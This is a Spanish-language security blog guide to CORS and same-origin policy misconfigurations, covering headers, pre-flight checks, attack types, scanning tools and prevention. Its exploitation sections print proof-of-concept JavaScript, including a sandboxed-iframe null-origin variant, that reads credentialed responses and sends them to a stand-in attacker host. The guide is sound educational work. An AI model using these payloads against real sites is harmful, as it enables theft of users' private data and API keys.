Entrada

CORS guide

Guía sobre la vulnerabilidad CORS

Publicado Actualizado
Preview Image
Por Justice-Reaper
14 min de lectura
CORS guide

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Explicación técnica de la vulnerabilidad de CORS. Detallamos cómo identificar y explotar esta vulnerabilidad, tanto manualmente como con herramientas automatizadas. Además, exploramos estrategias clave para prevenirla

¿Qué es el cross-origin resource sharing (CORS)?

El Cross-Origin Resource Sharing (CORS) es un mecanismo del navegador que permite el acceso controlado a recursos ubicados fuera de un dominio determinado. Amplía y flexibiliza la SOP. Sin embargo, también puede generar ataques cross-domain si la política de CORS de un sitio web está mal configurada o mal implementada. Debemos tener en cuenta que CORS no protegerá contra ataques cross-origin, como el CSRF

¿Qúe es la same-origin policy (SOP)?

La Same-Origin Policy (SOP) es un mecanismo de seguridad del navegador web que tiene como objetivo prevenir ataques entre sitios web, esto lo hace impidiendo que un script de una página web acceda a datos de otra página web si no tienen el mismo origen. Generalmente, permite que un dominio emita solicitudes a otros dominios, pero no que acceda a las respuestas

El origen está compuesto por un esquema URI (http://,https://,ftp://), un dominio (eneba.com) y un número de puerto (:80). Por ejemplo:

1

http://normal-website.com/example/example.html

En el caso de Internet Explorer permite el acceso a http://normal-website.com:8080/example/ porque no tiene en cuenta el número de puerto al aplicar la política SOP

URL¿Acceso permitido?
http://normal-website.com/example/Sí (mismo esquema URI, dominio y puerto)
http://normal-website.com/example2/Sí (mismo esquema URI, dominio y puerto)
https://normal-website.com/example/No (esquema URI y puerto diferentes)
http://en.normal-website.com/example/No (dominio diferente)
http://www.normal-website.com/example/No (dominio diferente)
http://normal-website.com:8080/example/No (puerto diferente)

¿Por qué es necesaria la same-origin policy (SOP)?

Cuando un navegador envía una solicitud HTTP desde un origen a otro, todas las cookies, incluyendo las de sesión asociadas al dominio destino también se envían como parte de la solicitud. Esto significa que la respuesta se generará dentro de la sesión del usuario e incluirá cualquier dato privado asociado a su cuenta. Sin la SOP, si visitamos un sitio malicioso, este podría leer nuestros correos de Gmail, mensajes privados de Facebook, etc

¿Cómo se implementa la same-origin policy (SOP)?

La SOP generalmente controla el acceso que tiene el código JavaScript a contenido cargado desde otro dominio pero la carga de recursos cross-origin está permitida. Por ejemplo, la SOP permite incrustar imágenes mediante la etiqueta <img>, medios con la etiqueta <video> y JavaScript mediante la etiqueta <script>, sin embargo, aunque estos recursos externos pueden ser cargados por la página, cualquier código JavaScript en la página no podrá leer el contenido de estos recursos

Existen varias excepciones a la SOP:

  • Algunos objetos son modificables pero no legibles entre dominios, como el objeto location o la propiedad location.href en iframes o ventanas nuevas

  • Algunos objetos son legibles pero no modificables entre dominios, como la propiedad closed y la propiedad length del objeto window (que almacena el número de frames en la página)

  • La función replace generalmente puede ser llamada entre dominios en el objeto location

  • Se pueden llamar a ciertas funciones entre dominios. Por ejemplo, podemos invocar las funciones close, blur y focus en una ventana nueva. La función postMessage también puede ser usada en iframes y ventanas nuevas para enviar mensajes de un dominio a otro

Debido a requisitos legacy, la SOP es más permisiva con las cookies, por lo que suelen ser accesibles desde todos los subdominios de un sitio web, aunque cada subdominio sea técnicamente un origen diferente. Podemos mitigar parcialmente este riesgo usando el atributo HttpOnly en las cookies

Es posible relajar la SOP usando document.domain, esta propiedad especial permite flexibilizar la SOP para un dominio específico, pero solo si forma parte de tu Fully Qualified Domain Name (FQDN). Por ejemplo, podrías tener el dominio marketing.ejemplo.com y querer leer su contenido desde ejemplo.com, para hacerlo, ambos dominios deben configurar document.domain como ejemplo.com. Así, la SOP permitirá el acceso entre los dos dominios pese a tener orígenes diferentes

En el pasado, era posible asignar document.domain a un Top-Level Domain (TLD) (como .com), lo que permitía acceso entre cualquier dominio bajo el mismo Top-Level Domain (TLD), pero los navegadores modernos ya lo impiden

¿Qué es la cabecera de respuesta Access-Control-Allow-Origin?

La cabecera Access-Control-Allow-Origin se incluye en la respuesta de un sitio web a una solicitud proveniente de otro sitio web, e indica qué origen tiene permiso para acceder al recurso solicitado

El navegador compara el valor de Access-Control-Allow-Origin con el origen del sitio web que realizó la petición. Si coinciden, permite el acceso a la respuesta, de lo contrario, lo bloquea por restricciones de seguridad

¿Cómo implementar un intercambio de recursos cross-origin simple?

La especificación CORS establece las cabeceras HTTP que se intercambian entre servidores web y navegadores para controlar las solicitudes de recursos provenientes de dominios distintos al origen. Entre las cabeceras definidas por CORS, Access-Control-Allow-Origin es la más importante

Esta cabecera es enviada por el servidor como respuesta cuando recibe una solicitud entre dominios, la cual incluye automáticamente la cabecera Origin agregada por el navegador

Por ejemplo, supongamos que un sitio web cuyo origen es normal-website.com realiza la siguiente solicitud entre dominios:

1
2
3

GET /data HTTP/1.1
Host: robust-website.com
Origin: https://normal-website.com

El servidor en robust-website.com responde así:

1
2
3

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com

El navegador permitirá que el código ejecutado en normal-website.com acceda a la respuesta porque los orígenes coinciden. La especificación Access-Control-Allow-Origin permite múltiples orígenes, el valor null o la wildcard *. Sin embargo, ningún navegador admite múltiples orígenes y existen restricciones en el uso de las wildcards *

Manejar de solicitudes de recursos cross-origin con credenciales

El comportamiento predeterminado de las solicitudes de recursos cross-origin es que se envíen sin credenciales (como cookies o cabeceras de Autorización). No obstante, el servidor remoto puede autorizar el acceso a la respuesta cuando se incluyen credenciales configurando la cabecera Access-Control-Allow-Credentials: true

Si el sitio solicitante utiliza JavaScript, puede indicar que envía cookies con la petición

1
2
3
4
5

GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>

La respuesta a esta solicitud es la siguiente:

1
2
3
4

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true

En este caso, el navegador permitirá que el sitio web solicitante lea la respuesta, siempre que la cabecera Access-Control-Allow-Credentials esté configurada como true. De lo contrario, el navegador bloqueará el acceso a la respuesta

Relajación de las especificaciones de CORS con wildcards

La cabecera Access-Control-Allow-Origin soporta wildcards

1

Access-Control-Allow-Origin: *

Debemos tener en cuenta que las wildcards no se pueden usar dentro de otro valor, por ejemplo, esta cabecera no sería válida:

1

Access-Control-Allow-Origin: https://*.normal-website.com

Afortunadamente, desde el punto de vista de la seguridad, el uso de wildcards está restringido, es decir, no se puede usar una wilcard junto con una transferencia de credenciales (autenticación, cookies o certificados del lado del cliente) cross-origin ya que esto sería peligrosamente inseguro, exponiendo cualquier contenido autenticado en el sitio objetivo a todos. Un ejemplo de esto, sería lo siguiente:

1

Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true

Dadas estas restricciones, algunos servidores web crean dinámicamente las cabeceras Access-Control-Allow-Origin basándose en el origen especificado por el cliente. En consecuencia, la respuesta a una solicitud entre dominios luce de esta forma

Pre-flight checks

El pre-flight check (verificación previa) se añadió a CORS para proteger a los recursos legacy de las opciones de solicitud ampliadas permitidas por CORS. En ciertas circunstancias, cuando una solicitud cross-domain incluye un método HTTP no estándar o cabeceras personalizadas, la solicitud cross-origin va precedida de una petición que utiliza el método OPTIONS y el protocolo CORS exige esta verificación inicial para determinar qué métodos y cabeceras están permitidos antes de autorizar la solicitud cross-domain. A esto se le denomina pre-flight check

El servidor responde con el origen autorizado y una lista de métodos permitidos y el navegador verifica si el método utilizado por el sitio web solicitante está incluido en dicha lista

Por ejemplo, esta es una solicitud pre-flight que busca utilizar el método PUT junto con una cabecera personalizada llamada Special-Request-Header:

1
2
3
4
5
6

OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

El servidor podría devolver una respuesta como la siguiente:

1
2
3
4
5

Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

Esta respuesta establece los métodos permitidos (PUT, POST y OPTIONS) y las cabeceras de solicitud permitidos (Special-Request-Header). En este caso particular, el servidor cross-domain, es decir, el servidor que acepta solicitudes provenientes de dominios diferentes al suyo, también permite el envío de credenciales y la cabecera Access-Control-Max-Age define un tiempo máximo para almacenar en caché la respuesta pre-flight para reutilizarla

Si los métodos y las cabeceras de solicitud están permitidos (como en este ejemplo), el navegador procesa la solicitud cross-origin de la manera habitual. Las verificaciones pre-flight agregan un round-trip (RTT) adicional de solicitud HTTP a la petición cross-domain, lo que aumenta la sobrecarga (overhead) de navegación

¿Protege CORS contra ataques CSRF?

CORS no proporciona protección contra ataques de CSRF. Como CORS es una relajación controlada de la SOP, una configuración deficiente de CORS puede aumentar la posibilidad de ataques CSRF o agravar su impacto. Existen varias formas de realizar ataques CSRF sin usar CORS, por ejemplo, incluyendo formularios HTML o incluyendo recursos cross-domain

Vulnerabilidades derivadas errores de configuración de CORS

Muchos sitios web modernos utilizan CORS para permitir el acceso desde subdominios y sitios web de terceros. Sin embargo, su implementación de CORS puede contener errores o ser demasiado permisiva, lo que puede resultar en vulnerabilidades explotables

Cabecera ACAO generada por el servidor a partir de la cabecera Origin especificada por el cliente

Algunas aplicaciones necesitan proporcionar acceso a múltiples dominios. Mantener una lista de dominios permitidos requiere esfuerzo continuo, y cualquier error podría interrumpir la funcionalidad. Por ello, algunas aplicaciones permiten acceso desde cualquier dominio

Un método para implementar esto consiste en leer la cabecera Origin de las solicitudes e incluir en la respuesta una cabecera que indique que el origen solicitante está permitido. Por ejemplo, consideremos una aplicación que recibe la siguiente solicitud:

1
2
3
4

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

Y posteriormente, responde así:

1
2
3
4

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

Estas cabeceras indican que se permite el acceso desde el dominio solicitante (malicious-website.com) y que las solicitudes cross-origin pueden incluir cookies (Access-Control-Allow-Credentials: true), por lo que se procesarán dentro de la sesión del usuario

Dado que la aplicación refleja orígenes arbitrarios en la cabecera Access-Control-Allow-Origin, esto significa que absolutamente cualquier dominio puede acceder a los recursos del dominio vulnerable. Si la respuesta contiene información sensible como una clave API o un token CSRF, podríamos obtener estos datos utilizando el siguiente script en nuestro sitio web:

1
2
3
4
5
6
7
8
9

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://vulnerable-website.com/sensitive-victim-data', true);
req.withCredentials = true;
req.send();

function reqListener() {
    location = '//malicious-website.com/log?key=' + this.responseText;
};

En este laboratorio podemos ver como aplicar esta técnica:

Errores al parsear las cabeceras Origin

Algunas aplicaciones que admiten el acceso desde múltiples orígenes lo hacen utilizando una whitelist de orígenes permitidos. Cuando se recibe una solicitud CORS, el origen proporcionado se compara con la whitelist y si el origen aparece en la whitelist, se refleja en la cabecera Access-Control-Allow-Origin para que se conceda el acceso. Por ejemplo, la aplicación recibe una solicitud como esta:

1
2
3
4

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

La aplicación verifica el origen proporcionado comparándolo con su lista de orígenes permitidos y, si el origen está en la lista, lo refleja de la siguiente manera:

1
2
3

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

Los errores suelen surgir al implementar whitelist de orígenes para CORS. Algunas organizaciones deciden permitir el acceso desde todos sus subdominios (incluidos subdominios futuros que aún no existen) y algunas aplicaciones permiten el acceso desde varios dominios de otras organizaciones, incluyendo sus subdominios

Estas reglas a menudo se implementan comparando prefijos o sufijos de URL o usando expresiones regulares. Si hay algún error en la implementación, se puede permitir el acceso a dominios externos no deseados, a este tipo error se le llama error parseando las cabeceras origin

Por ejemplo, supongamos que una aplicación concede acceso a todos los dominios que terminan en:

1

normal-website.com

Un atacante podría obtener acceso si registra el siguiente dominio:

1

hackersnormal-website.com

Alternativamente, supongamos que una aplicación concede acceso a todos los dominios que comienzan con:

1

normal-website.com

Un atacante podría obtener acceso usando el siguiente dominio:

1

normal-website.com.evil-user.net

El valor null para la cabecera origin está whitelisteado

La especificación para la cabecera Origin admite el valor null. Los navegadores pueden enviar el valor null en la cabecera Origin en varias situaciones

  • Redirecciones cross-origin

  • Solicitudes desde datos serializados

  • Solicitudes que usan el protocolo file:

  • Solicitudes cross-origin en entornos restringidos (sandboxed)

Algunas aplicaciones pueden incluir null en la whitelist para facilitar el desarrollo local de la aplicación. Por ejemplo, supongamos que una aplicación recibe la siguiente solicitud cross-origin:

1
2
3

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

El servidor responde con lo siguiente:

1
2
3

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

En esta situación, un atacante puede usar varios trucos para generar una solicitud cross-origin que contenga el valor null en la cabecera Origin. Esto satisfará a la whitelist permitiendo un acceso cross-domain. Por ejemplo, se puede hacer usando una solicitud cross-origin en un iframe sandboxed de la siguiente forma:

1
2
3
4
5
6
7
8
9
10
11
12
13

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
  <script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get', 'vulnerable-website.com/sensitive-victim-data', true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
      location = 'malicious-website.com/log?key=' + this.responseText;
    };
  </script>
"></iframe>

En este laboratorio podemos ver como aplicar esta técnica:

Explotar un XSS a través de relaciones de confianza de CORS

Incluso una configuración "correcta" de CORS establece una relación de confianza entre dos orígenes. Si un sitio web confía en un origen que es vulnerable a cross-site scripting (XSS), un atacante podría explotar la vulnerabilidad XSS para inyectar código JavaScript que utilice CORS para recuperar información sensible del sitio web que confía en la aplicación vulnerable. Por ejemplo, si se envía la siguiente petición:

1
2
3
4

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

Y el servidor responde así:

1
2
3

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

Si un atacante que encuentra una vulnerabilidad XSS en subdomain.vulnerable-website.com podría usarla para recuperar la clave API, utilizando una URL como la siguiente:

1

https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

Comprometiendo TLS debido a una configuración deficiente de CORS

Supongamos que un aplicación que utiliza estrictamente HTTPS también incluye en su whitelist un subdominio de confianza que está usando HTTP. Por ejemplo, cuando la aplicación recibe la siguiente solicitud:

1
2
3
4

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

Y responde con estas cabeceras:

1
2
3

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

Si un atacante puede interceptar el tráfico de un usuario víctima podría explotar la configuración CORS para comprometer la interacción de la víctima con la web. Este ataque implica los siguientes pasos:

  1. El usuario víctima realiza una solicitud HTTP

  2. El atacante inyecta una redirección hacia http://trusted-subdomain.vulnerable-website.com

  3. El navegador de la víctima sigue la redirección

  4. El atacante intercepta la solicitud HTTP sin cifrar y devuelve una respuesta falsificada que contiene una petición CORS hacia https://vulnerable-website.com

  5. El navegador de la víctima realiza la petición CORS, incluyendo el origen http://trusted-subdomain.vulnerable-website.com

  6. La aplicación permite la solicitud porque ese origen está en la whitelist y los datos sensibles solicitados son devueltos en la respuesta

  7. La página web falsificada del atacante puede leer los datos sensibles y transmitirlos a cualquier dominio bajo el control del atacante

Este ataque es efectivo incluso si el sitio web vulnerable implementa HTTPS de forma segura, es decir, sin endpoints HTTP y con el atributo secure seteado en todas las cookies

En este laboratorio podemos ver como aplicar esta técnica:

Intranets y CORS sin credenciales

La mayoría de los ataques CORS dependen de la presencia esta cabecera de respuesta:

1

Access-Control-Allow-Credentials: true

Sin esa cabecera, el navegador de la víctima no enviará sus cookies, lo que significa que el atacante solo obtendrá acceso a contenido no autenticado, al cual podría acceder directamente navegando al sitio web objetivo

Sin embargo, hay una situación común en la que un atacante no puede acceder a un sitio web directamente, por ejemplo, cuando formamos parte de la intranet de una organización y está ubicada dentro de un espacio de direcciones IP privadas. Los sitios webs internos suelen tener un estándar de seguridad más bajo que los sitios webs externos, lo que permite a los atacantes encontrar vulnerabilidades y obtener un acceso mayor

Por ejemplo, una solicitud cross-origin dentro de una red privada puede ser la siguiente:

1
2
3

GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com

Y el servidor responde con:

1
2

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

El servidor de la aplicación está confiando en solicitudes a recursos desde cualquier origen sin credenciales. Si los usuarios dentro del espacio de IP privadas acceden a internet, entonces se puede realizar un ataque CORS desde un sitio externo que utilice el navegador de la víctima como proxy para acceder a los recursos de la intranet

¿Cómo detectar y explotar una mala configuración de CORS?

  1. Añadir el dominio y sus subdominios al scope

  2. Primeramente usaremos la extensión CORS* - Additional CORS Checks de Burpsuite

  3. Para verificar los dominios de confianza usaremos la extensión Trusted Domain CORS Scanner de Burpsuite

  4. Si preferimos usar herramientas por consola podemos usar CORScanner, CorsOne o CorsMe. La que más me gusta de todas es CORScanner, ya que CorsOne y CorsMe tienen el problema de que para detectar si el Origin acepta como valor null, solo prueban con el valor Null y no con NULL o null, y esto puede provocar que no detecten la vulnerabilidad en ciertas ocasiones

  5. Si tenemos dudas de cómo explotar el ataque, Corsy nos da pistas sobre ello

  6. Si en este punto no podemos explotar CORS, tenemos que buscar un dominio de confianza que sea vulnerable a XSS. Para ello, debemos revisar la guía de XSS para saber como identificarlos

  7. Para crear un PoC usaremos C0rsPwn3r o lo haremos de forma manual

  8. En el caso de estar en una intranet usaremos of-CORS para la explotación

Cheatsheets para CORS

En Hacktricks tenemos una metodología para encontrar errores de configuración en CORS y explotarlos. En PayloadsAllTheThings tenemos payloads que podemos usar. En Portswigger tenemos diferentes payloads, los cuales podemos usar para bypassear ciertos filtros que las webs apliquen al valor de la cabecera Origin

Tenemos estas herramientas para facilitar la detección y explotación de CORS:

Prevenir ataques CORS-based

Las vulnerabilidades CORS surgen principalmente por errores de configuración. Por lo tanto, la prevención es un problema de configuración. Las siguientes secciones describen algunas defensas efectivas contra ataques CORS

Configuración adecuada de solicitudes cross-origin

Si un recurso web contiene información sensible, el origen debe estar especificado correctamente en la cabecera Access-Control-Allow-Origin

Permitir solo sitios web de confianza

Puede parecer obvio, pero los orígenes especificados en la cabecera Access-Control-Allow-Origin deben ser únicamente sitios web de confianza. En particular, reflejar dinámicamente orígenes de solicitudes cross-origin sin validación es fácilmente explotable y debe evitarse

Evitar incluir null en la whitelist de orígenes permitidos

Se debe evitar usar la cabecera Access-Control-Allow-Origin: null, ya que, las llamadas cross-origin desde documentos internos y solicitudes en entornos aislados (sandbox) pueden especificar el origen null. Las cabeceras CORS deben definirse correctamente con respecto a los orígenes que son de confianza, tanto en servidores privados como en públicos

Evitar usar wildcards en redes internas

No debemos usar wildcards en redes internas, ni confiar únicamente en la configuración de la red para proteger recursos internos, ya que los navegadores dentro de la red interna pueden acceder a dominios externos no confiables

CORS no es un sustituto de las políticas de seguridad del lado del servidor

CORS define comportamientos del navegador y nunca sustituye la protección del lado del servidor para datos sensibles. Un atacante puede falsificar directamente una solicitud desde cualquier origen de confianza, por lo tanto, los servidores web deben seguir aplicando protecciones sobre datos sensibles, como autenticación, gestión de sesiones y además, implementar una configuración adecuada de CORS

Portswigger Guides
Portswigger Guides
Esta entrada está licenciada bajo CC BY 4.0 por el autor.